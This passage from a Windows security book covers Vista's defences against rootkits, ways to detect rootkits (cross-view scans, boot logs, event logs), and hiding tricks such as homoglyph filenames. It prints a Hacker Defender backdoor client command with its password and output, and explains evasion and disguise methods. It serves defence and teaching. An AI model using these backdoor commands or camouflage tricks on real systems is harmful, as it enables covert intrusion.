process token and running it at a higher integrity level (High versus Medium \nintegrity).\n" }, { "page_number": 277, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n249\nFor additional information on UAC and integrity levels in Vista, see http://technet2.microsoft.com/\nWindowsVista/en/library/00d04415-2b2f-422c-b70e-b18ff918c2811033.mspx?mfr=true.\nFollowing is the output of attempting to run FUTo from a command prompt \n(unelevated) on Windows Vista 32-bit with UAC enabled while logged in as a local \nAdministrator:\nC:\\FUTo\\FUTo_enhanced\\FUTo\\EXE>fu /?\nUnable to Load DriverThe system cannot find the file specified.\nFailed to initialize driver.\nC:\\FUTo\\FUTo_enhanced\\FUTo\\EXE>\nFor this particular EXE, the user isn’t even prompted to elevate; the loader simply fails \nto load and subsequently start the device driver with the net result being the user was \nprotected. Running FU from an elevated command prompt on 32-bit Vista results in an \nentirely different experience, as shown in Figure 8-10.\nFigure 8-10 Vista Ultimate 32-bit versus FUTo\n" }, { "page_number": 278, "text": "250 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nNow to be fair, all this indicates is that after elevation, the FUTo driver (msdirectx \n.sys) was indeed loaded but needs to be updated to work properly on Windows Vista \n(which probably involves little more than fixing up the offsets to some structures that \nFUTo needs to locate to properly patch the kernel objects it manipulates).\nShould the authors or the rootkit community at large decide to do this and attempt \nto create a version of FUTo or similar kernel-mode rootkits for the 64-bit platform, they \nwill be confronted with yet another security change that applies only to the 64-bit versions \nof Vista: Kernel-mode Code Signing (KMCS). Vista 64-bit versions enforce a new policy \nthat requires all kernel modules to be signed with a special code-signing certificate. If an \nadministrator attempts to load an unsigned driver, even if the attempt is from an elevated \nprocess, Vista x64 will prevent the driver from loading.\nSecure Startup\nVista is the first Microsoft operating system to offer built-in full-volume encryption \ncapability, and with this ability comes a new security feature known as Secure Startup.\nDuring the design of Vista, bootkits such as eEye’s Bootroot and the VBootkit were very \nmuch part of the threat model. With the introduction of TPM 1.2 processors built-in to \nmany notebooks and system mainboards, it is now possible to mitigate these types of \nattacks and to prevent the operating system from starting if an attempt has been made to \ntamper with it during the boot process. When Vista’s BDE has been enabled on a machine \nequipped with a TPM 1.2 processor, Secure Startup is enabled and enforced. Secure \nStartup works by measuring a known-good boot process and storing these measurements \nin the TPM 1.2 module. These measurements are basically SHA-1 hashes of the code that \nis about to be executed by the next step in the boot process. On subsequent boots of the \nsystem, these measurements are taken again and compared to the known-good \nmeasurements, and if they are found to differ, the TPM will not unseal the encryption \nkeys needed to decrypt the OS boot volume. In the VBootkit scenario, where the MBR is \nread off a CD prior to reading the trusted MBR from the hard drive, the CD’s MBR code \nwill be measured (SHA-1 hashed) and stored in a Platform Configuration Register (PCR) \nin the TPM 1.2 module. The hash value stored in the PCR will not be the expected value, \nthe TPM 1.2 module will not unseal the keys needed to decrypt the OS, and the boot \nprocess will be halted.\nFor more information on Secure Startup in Windows Vista, refer to the technical \noverview at http://download.microsoft.com/download/5/D/6/5D6EAF2B-7DDF-\n476B-93DC-7CF0072878E6/secure-start_tech.doc.\nA Windows Vista Ultimate Extra add-on is available for download; it takes care of initializing a TPM 1.2 \nmodule and reconfiguring Vista to use BDE in Secure Startup mode. The operating system volume \ncan even be encrypted in the background while you continue to work to minimize downtime.\n" }, { "page_number": 279, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n251\nOther Security Enhancements\nAnother interesting door that has been closed to attackers on all versions of Vista is the \nremoval of the \\Device\\PhysicalMemory section object from user mode. As mentioned \nearlier, only limited examples of real-world malware and rootkits in the wild make use \nof this object to manipulate kernel memory from user mode.\nAccess to this object was first restricted to kernel mode in Windows Server 2003 SP1 and the policy \nremains unchanged in Vista.\nRaw disk access from user mode is also no longer permitted in Vista, even for \nadministrators and elevated processes. Raw disk access refers to using the CreateFile()\nAPI and referencing a disk using a special notation (\\\\?\\PhysicalDriveN). Microsoft \npublished a KB article describing this technique at http://support.microsoft.com/kb/\nq100027/, and more information on the topic can be found in the MSDN documentation \nfor CreateFile.\nThis technique was used by Joanna Rutkowska in 2006 as part of her Bluepill \ndemonstration for bypassing the Vista x64 Kernel-mode Code Signing requirements. In \nsummary, Joanna found that using raw disk access, she was able to modify the pagefile \n.sys and overwrite existing driver code that had been paged out to disk. When the driver \ncode was paged back into main memory, she had successfully bypassed the KMCS \nrequirements of the x64 platform. On Windows Vista, raw disk access can only be \nachieved using a device driver.\nSummary of Vista vs. Rootkits\nWith Windows Vista, Microsoft made significant changes at all levels of the operating \nsystem to make it more resilient to unintentional or intentional tampering. However, due \nto application compatibility concerns, some of these enhancements can be applied only \nto 64-bit versions of the operating system.\nAs a result of these changes, on 64-bit versions of Vista, rootkit authors have the \nfollowing options available to them:\n• Pursue kernel-mode stealth, which now requires a device driver (due to removal \nof \\Device\\PhysicalMemory). This implies signing their rootkit drivers with \ncode signing certifi cates that chain up to a trusted root certifi cation authority; \nfi nding a way to bypass UAC or tricking users into elevating a driver installer \nstub program; or fi nding a way to disable or bypass KPP, which will detect \nattempts to patch the kernel.\n• Use well-known user-mode stealth techniques and avoid the kernel altogether.\nOne thing is certain; it will be fascinating to see how things play out on the 64-bit version \nof Vista over the next few years and to see which direction the malware writers go.\n" }, { "page_number": 280, "text": "252 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nROOTKIT DETECTION TOOLS AND TECHNIQUES\nDuring the rise of the rootkit came a corresponding rise of the rootkit detection tool. A \nfew years ago, only a few public rootkit detection tools existed, but today dozens of them \nare available from both individuals with questionable backgrounds and motives as well \nas those from respected software vendors. In this section we attempt to enumerate the \napproach used by some of the more popular tools, provide you with resources you can \nuse to investigate these tools, and disclose tips and tricks that can be used to catch some \nof today’s nastiest rootkits such as Rustock.\nRise of the Rootkit Detection Tool\nIn late 2003 and early 2004, Joanna Rutkowska released a tool called KLister that could \nbe used on Windows 2000 systems to dump a list of processes using a driver loaded into \nthe kernel. The tool was, shall we say, “expert friendly,” but it was, as far as we know, the \nfirst publicly available tool of its kind that attempted to give the user a different view of \nthe system’s running processes than what was obtained by possibly hooked APIs. Joanna \ncontinued her excellent work in this field and has subsequently published many more \nrootkit-related tools including her latest release—the System Virginity Verifier. SVV is an \ninteresting tool that makes use of an approach called cross-view–based detection. All of \nJoanna’s tools can be downloaded for free at http://invisiblethings.org/tools.html.\nIn 2004, James Butler released VICE, arguably one of the best rootkit detection tools \navailable at the time. VICE had a nice GUI written for the .NET platform and it was able \nto identify popular forms of both user-mode and kernel-mode stealth in use at the time, \nincluding patched functions, address table hooks, and alterations to key data structures \nsuch as the SSDT in the kernel.\nAlso in 2004, Microsoft Research jumped into the foray by presenting its approach \nto rootkit detection, which it called cross-view–based detection when it released a research \npaper on the topic: http://research.microsoft.com/research/pubs/view.aspx?type= \nTechnical%20Report&id=775. The Strider team in Microsoft Research had previously \nbeen investigating ways to determine system changes via the AskStrider tool when its \nmembers became interested in rootkit detection. The rest, as they say, is history: this \nteam has continued to focus research effort in this area and has released a number of \nadditional papers and tools to the public, which can all be downloaded at http://\nresearch.microsoft.com/rootkit/.\nIn 2005, Mark Russinovich released Rootkit Revealer, which used a cross-view–based \napproach to detect not only hidden files, but hidden Registry entries as well.\nFinally in 2006 and 2007, rootkit detection tools have become plentiful and a dedicated \nwebsite, www.antirootkit.com, has been established to promote advances in this area. At \nthe time of this writing, antirootkit.com was linking to 31 different rootkit detection tools \nfor a variety of OSs ranging from OSX, to Linux, to Windows. Some of the more popular \nand effective anti-rootkit tools in 2006 were IceSword, GMER, and RKUnhooker, all of \nwhich can be found on antirootkit.com.\n" }, { "page_number": 281, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n253\nAs rootkit detectors started to become popular and widely used, some rootkit authors \nstarted targeting them directly to prevent the tools from reporting accurate results on the \nsystems they were scanning using so-called implementation-specific attacks. This could \nrange from simply adding the rootkit detector to a root process list (that is, a list of \nprocesses allowed to “see” everything that is normally hidden by the rootkit; this works \nwell for cross-view–based detectors), to performing application-specific tricks, to \ncompletely DDoSing the site hosting the tool to prevent people from being able to \ndownload it. Holy Father, author of the popular Hacker Defender rootkit, for years \noffered paid versions of the rootkit before retiring from the scene in late 2006. The later \nversions of the rootkit (at one time) were able to bypass all well-known rootkit detectors \nusing a combination of techniques.\nThe linkage between so-called proof-of-concept rootkit authors and rootkit detection \ntools is also interesting to note. As an example, the author(s) of the Unreal.A rootkit \nhave also created a rootkit detector called RKUnhooker. In a post on rootkit.com, the \nauthors claim to have authored the Unreal. A rootkit to, among other things, prove the \nability of the RKUnhooker rootkit detection tool and demonstrate weaknesses in other \nanti-rootkit tools.\nThe problem of rootkit authors studying the popular and widely available anti-\nrootkit tools and then finding weaknesses in them that can be exploited is not going to \ngo away; it is a continual game of cat and mouse. For this reason, some security researchers \nauthor their own private rootkit detection tools and never release them to the public. \nJoanna Rutkowska summarizes this situation quite nicely in her presentation on SVV \nand the OMCD (Open Methodology for Compromise Detection). She says that because \nonly a finite number of ways can be used to achieve stealth on a system, if these methods \ncould be enumerated and enough tools written by enough people, it would prevent \nimplementation-specific attacks on rootkit detection tools that have become quite \ncommon, since so many tools would be in existence.\nCross-View–Based Rootkit Detection\nThe concept behind cross-view–based detection is, essentially, to ask the same question \ntwice but in slightly different ways, with the theory being that if everything is fine, you \nshould get the same answer both times, but if one method’s answer differs from the \nother, then you know something suspicious has happened that warrants further \ninvestigation. For example, one interesting way to detect hidden files is to use the \nWindows API to get a list of files in a folder, and then to use raw disk access (discussed \nearlier) to read the Master File Table that contains a list of files. Any files that are listed in \nthe MFT but that are not known to the Windows API are probably being actively hidden. \nThis is one of the earliest examples of cross-view–based detection that we know.\nDennis Middleton, an engineer at Microsoft, was one of the first people to suggest a \ntool based on this technique (that was later used by the PSS Security team quite \nextensively) long before the term was coined. This technique proved devastatingly \n" }, { "page_number": 282, "text": "254 \nHacking Exposed Windows: Windows Security Secrets & Solutions \neffective against file hiding rootkits such as Hacker Defender, and it was one of the first \ntools that the PSS Security team ran when responding to possible intrusions. Shortly \nafter this tool was developed, another tool called Rootkit Revealer (RKR) was released \nby Mark Russinovich that operated on essentially the same principle, but extended the \ncross-view–based detection to the Registry as well. With RKR, you could finally find \nboth hidden files and Registry keys and values. This proved exceedingly useful on a \nnumber of hacking cases involving user-mode rootkits that loaded as a DLL via the \nAppInit_DLLS registry key but hid only processes, not files. Usually these rootkits would \nactively attempt to hide the rootkit DLL referenced in this Registry value by preventing \nit from being displayed by various Registry editing tools. RKR was able to pierce this \nstealth and display the hidden entries.\nFinally, Joanna Rutkowska took cross-view detection to the next level with the \nrelease of SVV 1.0. This tool can be used to detect rootkits that alter code in memory, \nsuch as rootkits that attempt to patch functions in memory. The concept employed by \nSVV compares the .text section of the binary on disk (the part of the executable file \nformat that contains the programs code) with the representation of this section in \nmemory. If they differ, you know the code has been altered in memory and you should \ndetermine why.\nAd Hoc Rootkit Detection Techniques\nDetecting the presence of stealth software usually comes down to discovering something \nthat the rootkit author either “forgot” to hide or simply didn’t know could be used to \ndetect the rootkit. Oftentimes these shortcomings are addressed in subsequent versions \nof the rootkit. However, by modifying system or application code or data, side effects or \nunintended consequences can lead to a wide range of symptoms. In fact, many of the \ncases we’ve investigated started out as some system or application behaving strangely or \njust outright crashing or displaying blue screens. Hiding is easy, but hiding well is \nhard—really hard.\nDumping Process Memory\nWinDBG is a popular free debugger available for download from Microsoft. One \ninteresting aspect of the Hacker Defender rootkit is that it hooks the virtual memory \nAPIs in all running non-root processes to prevent user-mode debuggers like WinDBG \nfrom being able to “see” the function hooks that are installed in processes hooked by \nHacker Defender. Ironically, as a side effect of this anti-debugging behavior, it allows you \nto detect the rootkit’s presence using a single command in the debugger. WinDBG has \nthe ability to create a memory dump of a process, which essentially writes all of the \navailable pages of a processes memory to a file for later analysis in a debugger. When \nHacker Defender is running on a system, you will get an error if you try to create a \nmemory dump of a running process. As a quick test, you can run Notepad.exe, attach \nWinDbg to it, and then try to generate a full memory dump of the process, as shown in \nFigure 8-11.\n" }, { "page_number": 283, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n255\nDetours and Problems with Call Stacks\nIn 1999, Galen Hunt and Doug Brubacher of Microsoft Research published a research \npaper titled “Detours: Binary Interception of Win32 Functions” (http://research \n.microsoft.com/sn/detours/). Since then, not only have some third-party applications \nmade use of this technique to modify Windows API behavior, but malware authors have \nalso used the same technique to achieve their goals. One way to detect such API \ninterceptions is the use of the WinDbg’s !chkimg command in combination with !for_\neach_module.\nThe following Microsoft Knowledge Base article has detailed information on how to use these \ncommands and what to look for in the output: http://support.microsoft.com/kb/920925.\nFigure 8-11 Hacker Defender 1.00 versus WinDbg\n" }, { "page_number": 284, "text": "256 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nEnabling Boot Logging to Detect Rustock \nand Other Driver-Based Rootkits\nRootkit authors often fail to account for diagnostic and recovery features of the OS when \ndeveloping rootkits. For example, early rootkits would often add driver entries to the \nRegistry or create new services but would then fail to configure them so that they would \nalso start when Windows was booted in Safe Mode. As a result, all you needed to do was \nboot the system in Safe Mode to prevent the rootkit code from loading and the hidden \nfiles and services were visible! Rustock is a stealthy rootkit but it can be detected without \nusing any special tools by doing nothing more than running a system command and \nrebooting the machine!\nThe trick to detecting Rustock and other kernel-mode rootkits such as Unreal that \nload at system start via device drivers is to enable boot logging on a system. To enable \nboot logging, simply run msconfig.exe, and on the boot.ini tab, click the checkbox next \nto /BOOTLOG (or click the checkbox next to Boot Log on the Boot tab in Vista) and then \nreboot the system.\nFigures 8-12 and 8-13 show how to configure this on Windows XP and Vista.\nFigure 8-12 Using msconfi g.exe to enable boot logging on Windows XP\n" }, { "page_number": 285, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n257\nAfter the system has restarted, a new file in the Windows directory called ntbtlog.txt \nshould be visible (if it’s not, that’s suspicious), and it should contain an entry for each \nkernel driver that was started during the boot process (unless it has been explicitly \nremoved by a rootkit). At this point, you have a couple of options for detecting hidden \ndrivers. First, you could perform a cross-view–based approach to detecting the hidden \nRustock driver by comparing the list of drivers you see loading via the ntbtlog.txt to the \nlist of drivers currently visible (as displayed via some other tool such as Autoruns.exe \nwhile the system is online). Or you could simply take advantage of the fact that normal \ndevice drivers don’t typically load from an Alternate Data Stream and you could search \nthe ntbtlog.txt file for the string system32:.\nFollowing is some output from the ntbtlog.txt of a machine running the Rustock \nrootkit:\nLoaded driver \\SystemRoot\\System32\\Drivers\\Fs_Rec.SYS\nLoaded driver \\SystemRoot\\System32\\Drivers\\Null.SYS\nLoaded driver \\SystemRoot\\System32\\Drivers\\Beep.SYS\nLoaded driver \\SystemRoot\\System32:18467 < — Rustock driver in an ADS\nLoaded driver \\SystemRoot\\System32\\drivers\\vga.sys\nFigure 8-13 Using msconfi g.exe to enable boot logging on Vista\n" }, { "page_number": 286, "text": "258 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIn this ntbtlog.txt, you can see the machine is running Rustock, Unreal, and Hacker \nDefender:\nLoaded driver ACPI.sys\n...\nLoaded driver \\SystemRoot\\System32\\Drivers\\Null.SYS\nLoaded driver \\SystemRoot\\System32\\Drivers\\Beep.SYS\nLoaded driver \\SystemRoot\\System32:18467 < — Rustock\nLoaded driver \\SystemRoot\\System32\\drivers\\vga.sys\nLoaded driver \\SystemRoot\\System32\\Drivers\\mnmdd.SYS\n...\nLoaded driver \\SystemRoot\\system32\\drivers\\userdump.sys\nLoaded driver \\??\\C:\\:unreal.sys < — Unreal\nDid not load driver \\SystemRoot\\System32\\DRIVERS\\ipnat.sys\n...\nLoaded driver \\SystemRoot\\system32\\drivers\\kmixer.sys\nLoaded driver \\??\\C:\\Documents and Settings\\User\\Desktop\\hxvariant\\\nhxdef100r\\hxdefdrv.sys < — Hacker Defender\nShow Hidden Devices in Device Manager\nAnother interesting way to detect some older kernel-mode rootkits that load via device \ndrivers is to use a feature of the Windows Device Manager that allows you to view \nlegacy and other normally hidden device drivers. To enable this feature, open Device \nManager, and choose View | Show Hidden Devices. When this option is enabled, a new \ncategory of devices shows up entitled Non-Plug and Play Drivers, and some older \nrootkits may show up in this listing.\nBootExecute Registry Entry\nThe BootExecute Registry entry represents one of the earliest entry points that programs \n(good or bad) can use to execute during the boot process (with the exception being \n“bootkits,” which load from a boot sector much earlier in the boot process). This Registry \nkey is used by the Windows Session Manager to run tasks during the boot process and is \nused primarily by the Windows Check Disk (chkdsk.exe) utility to scan disks for problems \nbefore most drivers and services are given a chance to load. An interesting technique \nobserved in some of the newer rootkit detection tools is to use this BootExecute Registry \nvalue to facilitate rootkit detection. Since whatever is listed in this Registry key executes \nbefore most drivers and services have had a chance to load, the program being executed \nhas a fairly clean view of the file system and Registry. The word fairly is used here because \ndrivers marked as boot drivers in the Registry (SERVICE_BOOT_START) get loaded \nbefore any programs listed in this Registry value.\nAn astute reader will note that this implies that kernel-mode rootkits simply need to mark themselves \nas boot start drivers to load before BootExecute programs.\nImagine a program that loaded very early in the boot process via this Registry key \nand then took a snapshot of the services and drivers listed in the Registry before these \n" }, { "page_number": 287, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n259\ndrivers or services are started, and then after the system finishes booting that program \ntakes another snapshot and compares the two snapshots to find any drivers or services \nthat are hidden. This technique has been used by software such as UnHackMe 4.0, which \nmakes use of the Partizan rootkit detection tool.\nIn the game of cat and mouse constantly being played between the good guys and \nthe bad guys, the winner is usually the one who can load his code first, and this unique \nentry point represents an opportunity for both sides.\nNetwork-Based Detection of Hacker Defender\nHacker Defender’s built-in backdoor was fairly innovative when compared to backdoors \ncommonly in use at the time the rootkit was released. When Hacker Defender loads, not \nonly does it hide processes, files, and folders, but it also sets up a backdoor that can be \nreached on any TCP endpoint that was created by a user mode application. For example, \nthe RPC End Point Mapper (RPC EPM) is a well-known TCP endpoint that listens on \nTCP 135. This TCP port is created from a user mode process called SVCHOST.EXE (on \nWindows 2000 and later). Because the endpoint is created by a user-mode application \nand Hacker Defender is a user-mode rootkit, it is able to intercept all packets destined for \nthis and any other TCP port that a user-mode process is listening on. Some ports, however, \nsuch as the well-known TCP ports 139 and 445, cannot be used by the Hacker Defender \nbackdoor, as these endpoints are created from a kernel-mode driver (srv.sys); as such, \nHacker Defender is not able to intercept packets destined for these ports since it performs \nfunction patching only in user-mode processes.\nWith a traditional backdoor Trojan, the backdoor typically creates a new port to listen \non (say port 666), and even if the port is hidden locally using a user-mode rootkit, the \nlistening port would likely be visible using something like a network port scan of the \nmachine. If the backdoor listening on port 666 had its port hidden locally from an \nadministrator attempting to use the netstat command to list all of the listening ports, \nit would be visible to someone performing a port scan of the machine and thus fairly \neasy to detect. With the Hacker Defender’s backdoor, no additional ports are created; it \nsimply inspects all packets destined for all user-mode processes, and if the packet was \ncreated by the backdoor client, the packet is sent down a special code path.\nThe process used is very similar to that used to hide files and folders. The rootkit \ncode inspects the data (the returned list of files, folders, or in this case the packet) and \nthen takes action based on the results of that inspection. In essence, with Hacker Defender \ninstalled, there are two code paths for each user-mode TCP endpoint: the intended one, \nwhich results in the normal operation of the network server listening on that port, and \nthe one that gives the attacker remote access to the system via the built-in backdoor code. \nAs stealthy as this approach may seem, it still allowed for easy detection via the network \ndue to the design of the network backdoor.\nIn late 2004 a tool was posted to the Full-Disclosure mailing listthat allowed users to \nscan a range of IP addresses looking for hosts with Hacker Defender installed. The tool \nworked by sending the Hacker Defender master key (which was simply 32 bytes of data) \nfor various versions of the rootkit to various ports in a range of IP addresses supplied by \nthe user and inspecting the response. If the master key was accepted, it was presumed \nthat the backdoor was functioning on that port and the user was alerted.\n" }, { "page_number": 288, "text": "260 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFollowing is the output of the Hacker Defender backdoor client (bdcli100.exe) making \na connection to a machine with the Hacker Defender rootkit installed and accepting \nconnections on all user-mode TCP ports (in this case, TCP 135 is used for the backdoor \nconnection):\nC:\\>bdcli100.exe 169.254.157.32 135 hxdef-rulez\nconnecting server ...\nreceiving banner ...\nopening backdoor ..\nbackdoor found\nchecking backdoor ......\nbackdoor ready\nauthorization sent, waiting for reply\nauthorization - SUCCESSFUL\nbackdoor activated!\nNext is the output of the same client trying to connect on a kernel-mode port (TCP \n139) that is not hooked by the rootkit:\nC:\\>bdcli100.exe 169.254.157.32 139 hxdef-rulez\nconnecting server ...\nreceiving banner ...\nopening backdoor .....................\nbackdoor is not installed on 169.254.157.32:139\nObject Manager Namespace Detection\nSome rootkits, such as Hacker Defender, create a fairly obviously named section object \nthat can be detected easily using a tool such as WinObj.exe from Microsoft (Figure 8-14). \nNote how easy it would be to change the name of the section object used by Hacker \nDefender to make it blend in more with the surrounding environment.\nEvent Log–Based Detection\nMany intrusions leave forensic evidence behind in the event logs, usually in the form of \nService Control Manager System Event Log entries, indicating the successful installation \nof the malware and starting of new services (or sometimes application crashes or other \nevents related to the intrusion). Here is the audit trail left behind by Hacker Defender 1.0 \non Windows XP SP2:\nEvent Type: Information\nEvent Source: Service Control Manager\nEvent Category: None\nEvent ID: 7035\nDate: 4/29/2007\nTime: 7:33:11 PM\nUser: XPSP2OFFICE2003\\Admin\nComputer: XPSP2OFFICE2003\nDescription:\n" }, { "page_number": 289, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n261\nThe HXD Service 100 service was successfully sent a start control.\nFor more information, see Help and Support Center at \nhttp://go.microsoft.com/fwlink/events.asp.\nEvent Type: Information\nEvent Source: Service Control Manager\nEvent Category: None\nEvent ID: 7036\nDate: 4/29/2007\nTime: 7:33:11 PM\nUser: N/A\nComputer: XPSP2OFFICE2003\nDescription:\nThe HXD Service 100 service entered the running state.\nFor more information, see Help and Support Center at \nhttp://go.microsoft.com/fwlink/events.asp.\nFigure 8-14 WinObj displaying the section object created by Hacker Defender\n" }, { "page_number": 290, "text": "262 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nTHE FUTURE OF ROOTKITS\nAs rootkits for Windows have evolved over the years, it has become clear that the code \nthat loads first and operates at the lowest level wins. It is for this reason that most rootkit \nauthors want to load their code in ring 0 so that they can exert maximum control over the \nOS and the applications running on it. Many software security vendors also implement \nsoftware that operates in ring 0 so as not to be at a disadvantage to threats operating at \nthis level, and often the battle for achieving stealth is conducted entirely in kernel mode. \nThis has become a double-edged sword for malware authors and software security \nvendors alike, because writing solid code that runs in kernel mode without problems is \nchallenging, and mistakes and buggy code in ring 0 usually end up crashing the operating \nsystem. But what if a ring lower than 0 were available in which malicious code could run? \nWhat about a ring –1? This is sort of like what hardware virtualization support in modern \nCPUs offers, and proof-of-concept rootkits have already been written that can take \nadvantage of these new CPU features that take the game of stealth to the next level.\nFor those not familiar with popular virtualization products available today, such as \nVirtual PC or VMWare, these products allow you to run an operating system (the guest \nOS) inside of an application that is itself running within an operating system (the host \nOS). In theory, the guest operating system has no idea that it is running virtualized within \nan application on a host operating system. In reality, applications running in a guest \noperating system have numerous ways to detect that they are running in a VM (virtual \nmachine) due to the design of the software sandbox (VM) in which they are running. \nNormally, to run an operating system in a VM you need to install specialized software. \nBut what if a rootkit, when activated, were able to become the new host operating system \nby effectively moving the former host operating system (the one you are using) into a \nVM on the fly, making it a guest OS?\nThis is the concept employed by hypervisor-based rootkits such as Vitriol (written by \nDino Dai Zovi) for MacOS X using the Intel VT-x extensions and Blue Pill for Windows \nVista x64 using the AMD64-V extensions written by Joanna Rutkowska. Debate on \nwhether the presence of hypervisor-based rootkits such as Vitriol and Blue Pill can be \ndetected from within the virtualized guest operating system is ongoing, but according to \nthe manufacturers’ own specifications, the ability for an application to detect whether it \nwas running inside of a virtual machine would be considered a design flaw in the \nvirtualization extensions. As with other traditional rootkits, it seems that the only \nwinning move is not to play, or in this case, either to disable support for these extensions \nin the PCs BIOS (if possible) or install a non-malicious hypervisor first, before a malicious \none can be installed.\nARE ROOTKITS REALLY EVEN NECESSARY?\nRootkits and rootkit detection tools seem to have fallen into a harmonious cycle in recent \nyears. Outside of academic rootkits (those posted publicly for review, discussion, and/or \neducation), commercial rootkits are created and released into the wild for financial gain, \nto protect adware, spyware, bots, Trojans, backdoors, and Trojan downloaders. In the \n" }, { "page_number": 291, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n263\npast, we have seen rootkits installed via browser-based drive-by exploits, and more \nrecently we’ve seen mass-mailing worms like the Storm worm dropping rootkits after \nusing social engineering techniques to fool users into installing them; we’ve also seen \nthem installed by opening malformed documents that exploit security vulnerabilities. \nEventually, sometimes only after many months and tens of thousands of computers are \ncompromised, someone, somewhere figures out that a new advanced rootkit is on a \nmachine and begins to analyze it and link it to some other malware it is usually trying to \nhide. A weakness is invariably found, findings are published, and tools are written that \nexploit that weakness to facilitate detection. Lather, rinse, repeat.\nA rootkit that was successfully hiding malware in the wild for months can suddenly \nbe rendered useless by the discovery of a weakness in the techniques used to achieve \nstealth, especially when that weakness is exploited by popular software such as the \nrootkit detection tools found in most popular antivirus software and those listed on \nwww.antirootkit.com. Ironically, sometimes the worst thing you can do to achieve stealth \nis to use stealth techniques.\nYears ago, when this author was helping a large organization battle some determined \nmalicious hackers, the hackers were using a rootkit that consisted of only three files: a \nkernel-mode driver, a user-mode DLL, and an .INI file (used to configure the rootkit \nsettings). The rootkit made its presence known initially by causing one of the customer’s \nfile servers to blue screen. After debugging pointed to a mysterious and unknown device \ndriver, the PSS security team was called to investigate. At the time, it just so happened \nthey were working on a new approach to rootkit detection that was easily able to detect \nthe files being hidden by the rootkit.\nThis customer had a large number of machines, and it seemed like the rootkit was \nbeing found on machines faster than they could take them offline and rebuild them. But \nthen suddenly, and for no apparent reason, they stopped finding the rootkit on \ncompromised machines with the rootkit detection tool. Had the bad guys given up and \ngone home? Not likely. As they continued to investigate, they eventually discovered \nthat, at least on some machines, the attackers were getting in by exploiting a vulnerability \nin a service running as the all powerful SYSTEM account. The shellcode that was being \nrun would simply fetch a file from a remote server (via HTTP using the WinInet API) and \nthen execute it. It was discovered that when using the WinInet APIs from a process \nrunning as SYSTEM, any files downloaded would be saved to the Internet Explorer \nTemporary Internet Files folder in the default user profile. They found this by examining \nthe system for newly created files on or around the time the system was determined to \nhave been compromised (through log file analysis and so on). They eventually found a \nsingle GIF file created in the Temporary Internet Files folder on all of these machines \naround the time they were determined to have been compromised. But why would \nattackers download a GIF to the machine? Upon closer inspection, they discovered that \nthe file was not really a GIF—it was an executable with a GIF file extension. The attackers \nhad switched from using a DLL-based backdoor hidden by a kernel-mode rootkit to \nusing a DLL-based backdoor not hidden by a kernel-mode rootkit, but with a .GIF file \nextension, running from a folder where one might expect to find a lot of GIF files. They \nwere cleverly hiding in plain sight without resorting to any form of active stealth. Instead \nthey were using camouflage.\n" }, { "page_number": 292, "text": "264 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nPrograms can still be executed and libraries can still be loaded in a process, regardless of the file’s \nextension. To test this out, simply copy notepad.exe to a temporary folder and give it a different \nextension (try naming it NOTEPAD.GIF). If you open a command prompt and then type NOTEPAD \n.GIF, you will see that Notepad runs.\nAs we close out this chapter on achieving stealth, we will examine some of the clever \nways in which malicious hackers can hide in plain sight, without resorting to any \ntraditional rootkit techniques. Often these low-tech approaches to hiding can be just as, \nor even more, effective than employing some form of active stealth. The advantage of \nusing the techniques documented here would be reduced risk of application or operating \nsystem instability, while the disadvantage would be exposure to antivirus applications.\nHomoglyph Attacks\nA homoglyph is a symbol or glyph that looks very similar to another symbol or glyph but is \nin fact distinctly different. Operating systems represent the symbols or glyphs that are \ndisplayed by various alphabets and written languages on the screen, internally using \nUnicode code points. For example, the Cyrillic small letter e is represented by the Unicode \ncode point U+0435, while the Latin e (the one we use when displaying text in English) is \nrepresented by the Unicode code point U+0065. The Cyrillic e is shown in Figure 8-15 in the \nWindows Character Map utility (charmap.exe). By default, on English versions of Windows, \nthese two different glyphs appear visually to be the same, but since they are represented \ninternally as different Unicode code points, they are technically quite different.\nFigure 8-15 Character Map showing Cyrillic e\n" }, { "page_number": 293, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n265\nA great resource for examining Unicode code points is www.unicode.org.\nMalicious attackers can exploit this visual phenomenon to attempt to hide their \nmalicious binaries in plain sight. Often attackers who want to run programs on a \ncompromised computer want those programs to look exactly like legitimate programs \nthat people are used to seeing in tools such as Task Manager, so that they may not pay \nthem any special attention. The problem is that in a given folder, there can be only one \nfile with a given name; an attempt to create a second file with that same name results in \nan error. For example, suppose an attacker wanted to drop her backdoor on a system and \nname it explorer.exe. Since the legitimate explorer.exe already exists in the C:\\WINDOWS \nfolder by default, the attacker would have to place her look-alike version of explorer.exe \nin some other folder. A clever system administrator may notice that a second copy of \nexplorer.exe was running, and that it was running from the wrong folder. To resolve this \nproblem, a malicious attacker could resort to using a homoglyph for one of the letters in \nthe name explorer.exe, and then place the file in the same folder as the real explorer.exe. \nIn Figure 8-16, the Cyrillic lowercase e is used as a homoglyph for the Latin lowercase e\nto place another copy of the real explorer.exe in the Windows folder. It looks like the real \nthing. (The real explorer.exe shows up on the left-hand side of Figure 8-16 and the fake \nexplorer.exe using the Cyrillic e appears at the very far right.)\nThe advantage (for the attacker) of using this technique is that it’s very simple to \ncreate files with filenames that look like legitimate system files; when these files are \nexecuted, they appear to be running from the proper directory (as seen from utilities \nsuch as Task Manager or Process Explorer).\nAlthough it can be challenging to spot files using homoglyphs in Explorer, it is \nrelatively easy when using the DIR command in a command shell, as shown here:\n08/23/2001 08:00 AM 9,522 Zapotec.bmp\n08/23/2001 08:00 AM 707 _default.pif\n08/04/2004 01:56 AM 1,032,192 ?xplorer.exe\n 168 File(s) 13,642,710 bytes\n 36 Dir(s) 12,241,850,368 bytes free\nC:\\WINDOWS>\nNote that the Cyrillic e is displayed as a question mark (?) symbol in the DIR listing \noutput in the command shell on an English version of Windows.\nYou can imagine other interesting variations on this technique—perhaps using non-\nprintable characters (CR, LF, and so on) or even printable but invisible characters such as 